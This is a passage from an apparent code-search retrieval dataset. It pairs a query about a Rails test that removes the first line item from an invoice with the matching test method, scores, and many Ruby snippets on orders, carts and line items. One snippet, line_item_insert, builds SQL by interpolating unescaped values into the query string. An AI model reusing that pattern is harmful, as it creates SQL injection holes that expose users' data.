"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def test_line_items\n @products = {'1' => {'quantity' => 1} }\n @order.line_items = @products\n # Test adding one line item\n assert_equal @order.order_line_items.length, 1\n assert_equal @order.get_line_item_quantity(1), 1\n # Test adding one line item with a bigger quantity\n @products['1'] = {'quantity' => 2}\n @order.line_items = @products\n # Test some of our other line item methods\n assert_equal @order.has_line_item?(1), true\n assert_equal @order.has_line_item?(2), false\n assert_equal @order.get_line_item_quantity(1), 2\n\t\t# Assert money is correct\n\t\t@soap = Product.find(1)\n\t\tassert_equal @order.get_line_item_total(1), (@soap.price*2)\n\t\t# Is the total correct?\n\t\tassert_equal @order.line_items_total, (@soap.price*2)\n\t\t# Reset all line items\n\t\t@order.line_items = {}\n\t\tassert_equal @order.order_line_items.length, 0\n end",
"def clear_line_items\n @line_items = []\n end",
"def can_destroy?\n line_items.blank?\n end",
"def create\n # creates a new order which belongs to the current customer and contains fields which have values equal to\n # parameters accessed from the order_params hash\n @order = current_customer.orders.new(order_params)\n # sets the total_cost of the order to 0\n @order.total_cost = 0\n # calculates the total_cost of the order by calculating the sum of the cost of the line_items which the\n # basket that the current customer owns contains\n current_customer.basket.line_items.each do |item|\n # the total_cost of the order must be increased by the price of the game which the line_item belongs to\n @order.total_cost += item.game.price\n # the order_id of the line_item is equal to the id of the order which is currently being created\n item.order_id = Order.last.id + 1\n # the basket_id of the line_item is set to nil because the line_item is removed from the basket which\n # belongs to the current customer and is added to the order\n item.basket_id = nil\n # the total cost of the basket which the current customer owns is decreased by the price of the game which\n # the line_item belongs to\n current_customer.basket.total_cost -= item.game.price\n # if a game has been released, the delivery_date of the line_item is the next day\n # if a game has not been released, the delivery_date of the line_item is the release_date of the game\n # which the line_item belongs to\n if item.game.release_date <= Date.today\n # the delivery_date of the line_item is the next day\n item.delivery_date = Date.today + 1\n else\n # the delivery_date of the line_item is the release_date of the game which the line_item belongs to\n item.delivery_date = item.game.release_date\n end\n end\n\n respond_to do |format|\n # attempts to save the order\n if @order.save\n # if the order has successfully been saved, each line_item in the basket which the current customer\n # owns is saved because the value of the fields which the line_items contain is updated\n LineItem.transaction do\n current_customer.basket.line_items.each(&:save!)\n end\n # if the order has successfully been saved, the basket which the current customer owns is saved\n # because the total_cost of the basket is updated\n current_customer.basket.save\n # if the order has successfully been saved, the current customer should be redirected to the page which\n # shows the order that the current_customer has made.\n # shows a notice to the customer that the order has successfully been created\n format.html { redirect_to @order, notice: t('.notice') }\n format.json { render :show, status: :created, location: @order }\n else\n # if the order has not successfully been saved, the current customer should not be redirected to another\n # page and should be shown the errors which prevented the order from being saved\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n\t item.cart_id = nil\n \t line_items << item\n end\n end",
"def createmulti\n\t\ttag = params[:tag]\n\t\tnumTag = Product.first[:quantity]\n\t\tstatus = params[:status]\n\t\t@user = User.find(params[:user_id])\n\t\t@item = @user.items.create('tag' => tag.join(' '), 'status' => status, 'tagNum' => numTag )\n\t\tredirect_to user_path(@user)\n\t\tProduct.delete_all\n\n\tend",
"def save_items\n self.items.each { |c| if c.destroy_association? then c.destroy else c.save end }\n self.added_items.each { |c| c.save unless c.nil? } unless self.added_items.nil?\n end",
"def destroy\n @lineitem = Lineitem.find(params[:id])\n @lineitem.destroy\n\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: \"Line item was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def create\n @order = current_user.orders.create! order_params\n params[:line_item].each do |li|\n menu_product = MenuProduct.find custom_line_item_params(li)['menu_product_id']\n # Slowly change it to menu_product.price...as that is the price that gets recorded\n new_params = custom_line_item_params(li).merge({price: menu_product.product.price})\n @order.line_items.create!(new_params)\n end\n\n\n # Refactor delivery_fee logic to a method\n if order_params[:category]=='lunch'\n @menu = Menu.current_lunch\n\n if @menu.menu_date == Date.today\n if Time.now < Menu.today.lunch_start_time\n delivery_fee = 5\n else\n delivery_fee = 15\n end\n else\n # It is after 3:30 and he is seeing next day menu..so only 5 rs delivery\n delivery_fee = 5\n end\n else\n delivery_fee = 10\n end\n @order.update_attributes(delivery_fee: delivery_fee)\n\n @order.start_process!\n render json: @order\n rescue Exception=>e\n HealthyLunchUtils.log_error e.message,e\n @order.destroy if @order\n render status: :error\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n product = Product.find_by_id(@line_item.product.id)\n product.update_attributes(:remaining_quantity => (product.remaining_quantity + @line_item.quantity))\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(orders_path) }\n format.json { head :ok }\n end\n end",
"def destroy\r\n @lineitem = Lineitem.find(params[:id])\r\n @lineitem.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(lineitems_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def create_line_item_premium_per_person_charge_2 event_vendor, inventory_item\n # Vendor\n l1 = LineItem.create!(\n :line_item_type => \"Goods\", :line_item_sub_type => \"Menu-Fee\",\n :sku => inventory_item.sku, :name => \"Premium Charge\", :quantity => 1,\n :unit_price_expense => inventory_item.premium_price,\n :tax_rate_expense => 0,\n :payable_party => inventory_item.vendor,\n :include_price_in_expense => true,\n :menu_template => event_vendor.menu_template, :event => self)\n\n # Account\n l2 = LineItem.create!(\n :line_item_type => \"Goods\", :line_item_sub_type => \"Menu-Fee\",\n :sku => inventory_item.sku, :name => \"Premium Charge\", :quantity => 1,\n :unit_price_revenue => calculate_sell_price_using_account_pricing_tier(inventory_item.premium_price),\n :billable_party => account,\n :include_price_in_revenue => true,\n :menu_template => event_vendor.menu_template, :event => self)\n\n l1.opposing_line_item = l2\n l2.opposing_line_item = l1\n l1.save\n l2.save\n \n [l1, l2]\n end",
"def update!(**args)\n @create_item = args[:create_item] if args.key?(:create_item)\n end",
"def checkout\n line_items = LineItem.all\n\n @order = Order.create(user_id: current_user.id, subtotal: 0)\n\n line_items.each do |l_item|\n l_item.product.update(quantity: (l_item.product.quantity - l_item.quantity))\n @order.order_items[l_item.product_id] = l_item.quantity\n @order.subtotal += l_item.line_item_total\n end\n @order.save\n\n @order.update(sales_tax: (@order.subtotal * 0.08))\n @order.update(grand_total: (@order.sales_tax + @order.subtotal))\n\n line_items.destroy_all\n end",
"def ti_delete_line\n\ttictl(\"dl\")\n end",
"def create\n if current_user.current_order\n @order = current_user.current_order\n else\n last_order = Order.last\n order_no = \"\"\n if last_order\n order_no = last_order.order_no\n order_no = \"A#{\"#{(order_no[/\\d+/].to_i + 1)}\".rjust(5,'0')}\"\n else\n order_no = \"A#{\"1\".rjust(5,'0')}\"\n end\n\n @order = current_user.orders.build(order_no: order_no, date: Time.now, closed: false)\n end\n product = Product.where(id: order_line_params[:product_id]).first\n merged = order_line_params.merge({:unit_price => product.price, :total_price => product.price * order_line_params[:qty].to_i})\n @order.order_lines.build(merged)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to products_path, notice: 'Order line was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def create\n @item_line = ItemLine.new(params[:item_line])\n\n respond_to do |format|\n if @item_line.save\n format.html { redirect_to @item_line, notice: 'Item line was successfully created.' }\n format.json { render json: @item_line, status: :created, location: @item_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def delete_items(items, force: false)\n items.slice(0, 5).each { |i| puts i.to_pretty } unless force\n puts softpurple(\"+ #{items.size - 5} additional #{'item'.to_p(items.size - 5)}\") if items.size > 5 && !force\n\n res = force ? true : Prompt.yn(\"Delete #{items.size} #{'item'.to_p(items.size)}?\", default_response: 'y')\n return unless res\n\n items.each { |i| Hooks.trigger :post_entry_removed, self, @content.delete_item(i, single: items.count == 1) }\n # write(@doing_file)\n end",
"def line_item_insert(h)\n\t\trows = @database.execute <<-SQL\n\t\tINSERT INTO invoice_lines\n\t\t\t\t(number\n\t\t\t\t, invoice_id\n\t\t\t\t, line_id\n\t\t\t\t, _order\n\t\t\t\t, description\n\t\t\t\t, amount\n\t\t\t\t, first_expense_id\n\t\t \t, first_time_entry_id\n\t\t\t\t, line_item_date\n\t\t\t\t, person\n\t\t\t\t, name\n\t\t\t\t, matter\n\t\t\t\t, unit_cost\n\t\t\t\t, quantity\n\t\t\t\t, type\n\t\t\t\t, updated\n\t\t\t\t)\n\t\tVALUES\n\t\t\t ('#{h['number']}'\n\t\t\t , '#{h['invoice_id']}'\n\t\t\t , '#{h['line_id']}'\n\t\t\t , '#{h['order']}'\n\t\t\t , '#{h['description']}'\n\t\t\t , '#{h['amount']}'\n\t\t\t , '#{h['first_expense_id']}'\n\t\t\t , '#{h['first_time_entry_id']}'\n\t\t\t , '#{h['line_item_date']}'\n\t\t , '#{h['person']}'\n\t\t\t , '#{h['name']}'\n\t\t\t , '#{h['matter']}'\n\t\t\t , '#{h['unit_cost']}'\n\t\t\t , '#{h['quantity']}'\n\t\t\t , '#{h['type']}'\n\t\t\t , '#{h['updated']}'\n\t\t\t )\n\t\tSQL\n\tend",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to @line_item.cart, notice: t('line_items.destroy.lineDelete') }\n format.json { head :no_content }\n end\n end",
"def update_items\n @existing_items = []\n @order.items.each { |i| @existing_items << i.id }\n\n # detail and reproduction_pages will come in as attributes of items, but they actually belong to the item_order\n # so look for those, then add them to the correct record in @item_orders\n\n @item_orders.each do |item_order|\n # add item to order\n if !@existing_items.include?(item_order['item_id'].to_i)\n item_order_record = @order.item_orders.create!(item_id: item_order['item_id'], archivesspace_uri: item_order['archivesspace_uri'], user_id: current_user.id, active: true)\n else\n item_order_record = @order.item_orders.where(item_id: item_order['item_id']).first\n item_order_record.update_attributes(archivesspace_uri: item_order['archivesspace_uri'])\n @order.reload\n # delete id from @existing_items array to track associations to be deleted\n @existing_items.delete(item_order['item_id'])\n end\n\n if item_order['reproduction_spec']\n create_or_update_reproduction_spec(item_order_record.id, item_order['reproduction_spec'])\n end\n\n # handle fees\n if @order_sub_type_name == 'reproduction_fee'\n if item_order['order_fee']\n create_or_update_order_fee(item_order_record.id, 'ItemOrder', item_order['order_fee'])\n end\n else\n # delete any existing fee for this item_order if it exists\n OrderFee.where(record_id: item_order_record.id,\n record_type: 'ItemOrder').each { |f| f.destroy! }\n end\n end\n\n @existing_items.each do |item_id|\n @order.item_orders.where(item_id: item_id).each { |io| io.destroy! }\n end\n end"
] |
[
"0.619228",
"0.59818095",
"0.5954227",
"0.5844343",
"0.58334655",
"0.58043057",
"0.5686945",
"0.5669499",
"0.55842483",
"0.5581403",
"0.5569404",
"0.5557265",
"0.5544393",
"0.5426482",
"0.54170287",
"0.54046047",
"0.53990847",
"0.5392674",
"0.5374734",
"0.53691435",
"0.5365133",
"0.5341053",
"0.5324957",
"0.5316772",
"0.5316637",
"0.53123236",
"0.5312314",
"0.5304037",
"0.5298071",
"0.52970934",
"0.52893966",
"0.5278961",
"0.52669674",
"0.5252379",
"0.5247491",
"0.5243018",
"0.5241778",
"0.5240813",
"0.5229009",
"0.52110165",
"0.5192509",
"0.5187642",
"0.5187027",
"0.51834387",
"0.5177238",
"0.5159913",
"0.5154711",
"0.51479423",
"0.5141838",
"0.51355815",
"0.5120495",
"0.5099765",
"0.5099765",
"0.50989896",
"0.50948465",
"0.5090856",
"0.508517",
"0.5075152",
"0.5075152",
"0.5075152",
"0.5075152",
"0.5072894",
"0.506816",
"0.50611687",
"0.5058341",
"0.50517464",
"0.50457233",
"0.50432014",
"0.5040538",
"0.50338674",
"0.5033711",
"0.50330085",
"0.50290954",
"0.50290954",
"0.50290954",
"0.50290954",
"0.50290954",
"0.50290954",
"0.50244385",
"0.50220275",
"0.5021732",
"0.5021416",
"0.5015622",
"0.50136846",
"0.50096947",
"0.500866",
"0.5008443",
"0.50054413",
"0.5004349",
"0.5004249",
"0.5000621",
"0.49847457",
"0.49799788",
"0.497945",
"0.4975433",
"0.4973421",
"0.49725595",
"0.4971146",
"0.4969425",
"0.49684536"
] |
0.61168075
|
1
|
Test editing an invoice with line items Remove first line item from existing invoice
|
def test_should_remove_first_line_item_from_invoice
assert_no_difference 'Invoice.count' do
assert_difference 'LineItem.count', -1 do
@basic_user.edits_invoice(invoices(:invoice_with_line_items).id)
#get first row in the table.
trows = @basic_user.line_items_rows
assert_equal 2, trows.length
tr1 = trows[::WatirBrowser.item_index(1)]
assert tr1.exists?
@basic_user.populate(tr1.text_field(:name, "invoice[line_items_attributes][][description]"),"Removed Description one")
#remove the first line item
tr1.link(:name, 'remove').click
@basic_user.submits
end
end
invoice = Invoice.find(invoices(:invoice_with_line_items).id)
assert_equal 1, invoice.line_items.count
assert_equal line_items(:line_item_two).description, invoice.line_items[0].description
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test_should_remove_second_line_item_from_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_difference 'LineItem.count', -1 do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n \r\n #get first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 2, trows.length\r\n tr2 = trows[::WatirBrowser.item_index(2)]\r\n assert tr2.exists?\r\n @basic_user.populate(tr2.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Removed Description two\")\r\n\r\n #remove the second line item\r\n tr2.link(:name, 'remove').click\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 1, invoice.line_items.count\r\n assert_equal line_items(:line_item_one).description, invoice.line_items[0].description \r\n \r\n end",
"def test_should_add_edit_and_remove_line_items_in_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_no_difference 'LineItem.count' do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n \r\n @basic_user.link(:id, \"add_line_item\").click\r\n\r\n #get newly added last row in the table to enter text\r\n trows = @basic_user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(trows.length)]\r\n assert tr.exists?\r\n @basic_user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][description]\"),'Description of new line item')\r\n \r\n #remove the second line item\r\n trows = @basic_user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(2)]\r\n assert tr.exists?\r\n @basic_user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Deleted Description two\")\r\n tr.link(:name, 'remove').click\r\n assert_equal false, tr.visible?\r\n \r\n #edit the first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(1)]\r\n assert tr.exists?\r\n @basic_user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Changed Description One\")\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 2, invoice.line_items.count\r\n \r\n assert_equal 'Changed Description One', invoice.line_items[0].description\r\n assert_equal line_items(:line_item_one).description, invoice.line_items[0].description\r\n end",
"def test_dsl_should_add_edit_and_remove_line_items_in_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_no_difference 'LineItem.count' do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n assert_equal 3, @basic_user.adds_line_item(:unit => 'New line item', :description => 'Description of new line item')\r\n assert @basic_user.removes_line_item(2)\r\n @basic_user.edits_line_item(1, :description => 'Changed Description One').\r\n and_submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 2, invoice.line_items.count\r\n\r\n assert_equal 'Changed Description One', invoice.line_items[0].description\r\n assert_equal line_items(:line_item_one).description, invoice.line_items[0].description\r\n end",
"def test_should_create_and_delete_line_items_before_post\r\n assert_difference 'Invoice.count' do\r\n assert_difference 'LineItem.count', 1 do\r\n @basic_user.creates_new_invoice\r\n @basic_user.enter_new_customer(\r\n :name => \"Test 8 Customer Name 4\") \r\n \r\n #get first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 1, trows.length\r\n tr1 = trows[::WatirBrowser.item_index(1)]\r\n assert tr1.exists?\r\n @basic_user.populate(tr1.text_field(:name, \"invoice[line_items_attributes][][description]\"), \"Description one\")\r\n\r\n @basic_user.link(:id, \"add_line_item\").click\r\n\r\n #get second row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 2, trows.length\r\n tr2 = trows[::WatirBrowser.item_index(2)]\r\n assert tr2.exists?\r\n\r\n @basic_user.populate(tr2.text_field(:name, 'invoice[line_items_attributes][][description]'),'Description two')\r\n\r\n #remove the first line item\r\n @basic_user.line_items_rows[::WatirBrowser.item_index(1)].link(:name, 'remove').click\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n\r\n invoice = Invoice.find(:first, :order => 'id desc')\r\n assert_equal 1, invoice.line_items.count\r\n assert_equal 'Description two', invoice.line_items[0].description\r\n end",
"def test_should_update_new_invoice_total_when_line_item_is_deleted\r\n update_profile_taxes(\r\n :tax_enabled => true,\r\n :tax_1_name => \"tax 1 name\",\r\n :tax_1_rate => \"5.0\",\r\n :tax_2_name => \"\",\r\n :discount_before_tax => false)\r\n \r\n @user.creates_new_invoice\r\n # the first line is created automatically, no need to click add line \r\n @user.edits_line_item(1,:unit => 'line one', :quantity => '1', :price => '1.23')\r\n @user.adds_line_item(:unit => 'line two', :quantity => '1', :price => '4.56')\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => 5.79,\r\n :tax_1_amount => 0.29,\r\n :discount_amount => 0,\r\n :total => 6.08)\r\n \r\n @user.removes_line_item(1)\r\n\r\n verify_invoice_view_fields(\r\n :line_items_total => 4.56,\r\n :tax_1_amount => 0.23,\r\n :discount_amount => 0,\r\n :total => 4.79)\r\n end",
"def test_remove_promotion_multiple_items\n setup_new_order_with_items()\n editable_order_codes = (1..5)\n editable_order_codes.each do |status_id|\n o_status = OrderStatusCode.find(status_id)\n assert_kind_of OrderStatusCode, o_status\n\n @o.order_status_code = o_status\n assert @o.is_editable?\n \n promo = promotions(:fixed_rebate)\n @o.promotion_code = promo.code\n assert @o.save\n assert_kind_of OrderLineItem, @o.promotion_line_item\n # Add dupe line item.\n dupe_item = @o.promotion_line_item.clone\n @o.order_line_items << dupe_item\n assert_equal 2, @o.order_line_items.count(\n :conditions => [\"name = ?\", @o.promotion.description]\n )\n # Remove\n @o.remove_promotion()\n assert_nil @o.promotion_line_item\n end\n end",
"def test_line_items\n @products = {'1' => {'quantity' => 1} }\n @order.line_items = @products\n # Test adding one line item\n assert_equal @order.order_line_items.length, 1\n assert_equal @order.get_line_item_quantity(1), 1\n # Test adding one line item with a bigger quantity\n @products['1'] = {'quantity' => 2}\n @order.line_items = @products\n # Test some of our other line item methods\n assert_equal @order.has_line_item?(1), true\n assert_equal @order.has_line_item?(2), false\n assert_equal @order.get_line_item_quantity(1), 2\n\t\t# Assert money is correct\n\t\t@soap = Product.find(1)\n\t\tassert_equal @order.get_line_item_total(1), (@soap.price*2)\n\t\t# Is the total correct?\n\t\tassert_equal @order.line_items_total, (@soap.price*2)\n\t\t# Reset all line items\n\t\t@order.line_items = {}\n\t\tassert_equal @order.order_line_items.length, 0\n end",
"def test_delete_previous_promotion_line_item\n setup_new_order_with_items()\n \n a_fixed_rebate = promotions(:fixed_rebate)\n @o.promotion_code = a_fixed_rebate.code\n # Saving it, sets the promo code and product cost.\n assert @o.save\n # Assert the promotion is there.\n assert_equal @o.order_line_items.find_by_name(a_fixed_rebate.description).name, a_fixed_rebate.description, \"The fixed rebate wasn't added properly.\"\n\n # Test a percent rebate.\n a_percent_rebate = promotions(:percent_rebate)\n @o.promotion_code = a_percent_rebate.code\n # Saving it, sets the promo code and product cost.\n assert @o.save\n # Assert the promotion is there.\n assert_equal @o.order_line_items.find_by_name(a_percent_rebate.description).name, a_percent_rebate.description, \"The percent rebate wasn't added properly.\"\n\n # Assert the previous promotion is NOT there.\n assert_equal @o.order_line_items.find_by_name(a_fixed_rebate.description), nil, \"The fixed rebate is still there.\"\n end",
"def remove_line_item(line_item)\n unless self.ordered?\n line_item.destroy\n end\n end",
"def unrefulfill_line_item(line_item_id)\n li = Spree::LineItem.find(line_item_id)\n li.refulfill = nil\n li.save\n end",
"def remove_lineitem\n line_item = @sale.line_items.find_by_id(params[:line_item])\n respond_to do |format|\n if line_item.present?\n line_item.item.stock_amount = line_item.item.stock_amount + line_item.quantity\n line_item.item.save\n line_item.destroy\n end\n update_totals\n\n format.js { ajax_refresh }\n end\n end",
"def purge!\n unless self.ordered?\n self.line_items.each do |line_item|\n remove_line_item(line_item) if line_item.invalid?\n end\n end\n end",
"def clear_line_items\n @line_items = []\n end",
"def lock_new_invoice_line_items party, document\n # Generate fixed-price post sub total line items from percentage based sub total line items\n subtotal = revenue_subtotal_by_party(party, false)\n line_items_after_subtotal_percentage_by_billable_party(party).each do |li|\n fixed_price = li.revenue_total_with_percentage subtotal\n line_items.create!(li.attributes.merge({unit_price_revenue: fixed_price, name: \"#{li.name} (#{li.unit_price_revenue}%)\", percentage_of_subtotal: false, parent_id: li.id}))\n end\n\n line_items_fixed_by_billable_party(party, false).each do |li|\n li.document = document\n li.save\n end\n end",
"def delete_lines_main_order\n # Eliminamos las lineas de la orden principal\n @main_order.line_items.each do |line_item|\n line_item.delete\n end\n # Eliminamos la orden principal\n @main_order.delete\n end",
"def lock_new_invoice_line_items party, document\n # Generate fixed-price post sub total line items from percentage based sub total line items\n subtotal = revenue_subtotal_by_party(party, false)\n line_items_after_subtotal_percentage_by_billable_party(party).each do |li|\n fixed_price = li.revenue_total_with_percentage subtotal\n line_items.create!(li.attributes.merge({unit_price_revenue: fixed_price, name: \"#{li.name} (#{li.unit_price_revenue}%)\", percentage_of_subtotal: false, parent_id: li.id}))\n end\n\n line_items_fixed_by_billable_party_including_add_ons(party, false).each do |li|\n li.document = document\n li.save\n end\n end",
"def set_invoice_line_item\n @invoice_line_item = InvoiceLineItem.find(params[:id])\n end",
"def test_invoice_no_discount\r\n\r\n # Add an Invoice\r\n assert_difference 'Invoice.count' do\r\n \r\n #Create new Invoice and fill it up\r\n @user.creates_new_invoice\r\n fill_invoice_for @user \r\n\r\n #Customer Info \r\n current_customer = customers(\"heavy_user_customer_1\".to_sym)\r\n @user.enter_new_customer( \r\n :name => current_customer.name\r\n ) \r\n \r\n # quantity and price initial values\r\n quantity = 20\r\n price = 4.00\r\n \t \r\n #Add line items\r\n add_line_items(quantity, price)\r\n\t \r\n # Submit and verify\r\n assert_difference 'LineItem.count', @number_of_line_items do\r\n @user.submits \r\n end \r\n end \r\n end",
"def test_totalling_methods_when_line_items_empty\n credit_note = create_test_credit_note\n credit_note.line_items = []\n\n assert_nothing_raised(Exception) {\n assert_equal(BigDecimal('0'), credit_note.sub_total)\n assert_equal(BigDecimal('0'), credit_note.total_tax)\n assert_equal(BigDecimal('0'), credit_note.total)\n }\n end",
"def update\n order_changed = false\n @errors = Array.new #holds error objects\n @line_items = Array.new #holds existing_line items in case of errors\n line_items = params[:line_items]\n #Loop through @line_items first to validate but NOT to persist. If any is invalid, then render the order edit\n #view to display @errors without saving. Otherwise save them and redirect to order show page.\n \n line_items.each do |li|\n line_item = LineItem.new(li)\n if ! li[:id].empty? #has value for id\n existing_line_item = LineItem.find(li[:id]) #line item already exists\n if line_item.quantity == 0 || line_item.quantity.nil? #quantity changed to 0\n #existing_line_item.destroy\n #order_changed = true\n @line_items << existing_line_item\n elsif existing_line_item.quantity == line_item.quantity #quantity not changed\n #do nothing if quantity not changed\n @line_items << existing_line_item\n else #quantity changed to something other than 0\n #existing_line_item.update_attributes(li)\n @errors << line_item.errors if line_item.invalid?\n @line_items << existing_line_item\n #order_changed = true\n end\n elsif line_item.quantity != 0 && line_item.id.nil? && ! line_item.quantity.nil? #line item does not already exist, so need to create a new one\n #@line_item = line_item\n line_item.order_id = params[:order_id]\n #@line_item.save\n #order_changed = true\n @errors << line_item.errors if line_item.invalid?\n @line_items << line_item\n else\n @line_items << line_item\n end\n end #each to validate\n if ! @errors.empty?\n @order = Order.find(params[:order_id])\n render \"orders/edit\"\n else\n line_items.each do |li|\n line_item = LineItem.new(li)\n if ! li[:id].empty? #has value for id\n existing_line_item = LineItem.find(li[:id]) #line item already exists\n if line_item.quantity == 0 || line_item.quantity.nil? #quantity changed to 0\n existing_line_item.destroy\n order_changed = true\n elsif existing_line_item.quantity == line_item.quantity #quantity not changed\n #do nothing if quantity not changed\n else #quantity changed to something other than 0\n existing_line_item.update_attributes(li)\n \n order_changed = true\n end\n elsif line_item.quantity != 0 && line_item.id.nil? && ! line_item.quantity.nil? #line item does not already exist, so need to create a new one\n line_item = line_item\n line_item.order_id = params[:order_id]\n line_item.save\n order_changed = true\n end\n end #each to save\n \n UserMailer.send_invoice(current_user, Order.find(params[:order_id]), true).deliver if order_changed\n notice = order_changed ? 'Order was successfully updated' : 'Order was not changed'\n redirect_to Order.find(params[:order_id]), notice: notice\n end\n end",
"def test_show_if_has_line_item\n assert_equal @order.has_line_item?(@order.order_line_items.find_by_name(items(:towel).name).id), true\n\n # Create a new order and put just one line item.\n new_order_line_item = OrderLineItem.for_product(items(:small_stuff))\n new_order = Order.new\n new_order.order_line_items << new_order_line_item\n assert new_order.save\n \n # Search for an existent line item of ANOTHER order.\n assert_equal @order.has_line_item?(new_order.order_line_items.find_by_name(items(:small_stuff).name).id), false\n end",
"def destroy\n @invoice_line_item = InvoiceLineItem.find(params[:id])\n @invoice_line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to invoice_line_items_url }\n format.json { head :no_content }\n end\n end",
"def dummy_line_item\n li = LineItemBuilder.new([self]).spree_line_items.first\n return unless li\n\n li.order = dummy_order\n li.validate\n li.freeze\n end",
"def rebuild_invoice\n end",
"def destroy\n @order.line_items.clear\n respond_to do |format| \n format.html { redirect_to(edit_object_url) } \n end\n end",
"def decrement_line_item_quantity(line_item_id)\n current_item = line_items.find(line_item_id)\n if current_item.quantity > 1\n current_item.quantity -= 1\n else\n current_item.destroy\n end\n current_item\n end",
"def create_replacement\n new_invoice = self.clone\n new_invoice.document_number = Numerator.get_number\n old_invoice = self\n old_invoice.status_constant = Invoice::CANCELED\n old_invoice.order_id = nil\n old_invoice.lines.each do |line|\n new_invoice.invoice_lines << line.clone\n line.order_id = nil # Disassociate the order so that things don't appear twice on orders just because there is a replacement invoice\n line.save\n end\n new_invoice.save\n old_invoice.replacement = new_invoice\n old_invoice.save\n return new_invoice\n end",
"def issue_unissue_po_line_items_when_so_and_cart_diffs(issue_cart)\n logger.debug \"==@@@@==SalesOrder: issue unissue(), issuce_cart.id==== #{issue_cart.id}\"\n # so line_items not in cart(will be removed), issueback po\n self.line_items.each do |so_line|\n if not issue_cart.line_items.where(line_number: so_line.line_number).exists?\n logger.debug \"==@@@@==line_items to be removed from so==== #{so_line.id}\"\n self.issue_back_refer_line_item(so_line, so_line.quantity)\n end\n end\n\n # cart line_items not in so(will be added), issue po\n issue_cart.line_items.each do |line_item|\n # cart line_items not in so: to be added to so\n if not self.line_items.where(line_number: line_item.line_number).exists?\n logger.debug \"==@@@@==new line, to be added to so==== #{line_item.id}\" \n self.issue_refer_line_item(line_item, line_item.quantity) \n else # exist, but quantity different\n line = self.line_items.where(line_number: line_item.line_number).take\n logger.debug \"==@@@@==exsit line, update po==== #{line_item.id}\"\n if line.quantity < line_item.quantity\n self.issue_refer_line_item(line_item, line_item.quantity - line.quantity)\n elsif line.quantity > line_item.quantity\n self.issue_back_refer_line_item(line_item, line.quantity - line_item.quantity) \n end\n end\n end\n end",
"def test_promo_code_minimum_bug\n test_set_promo_code_fixed_min_value()\n # Remove expensive item\n assert @o.order_line_items.delete(@li_2)\n assert @promo.minimum_cart_value > @o.total\n assert @o.save\n # Verify\n @o.reload\n assert_nil @o.promotion\n assert_equal 1, @o.order_line_items.size\n assert @o.order_line_items.include?(@li)\n end",
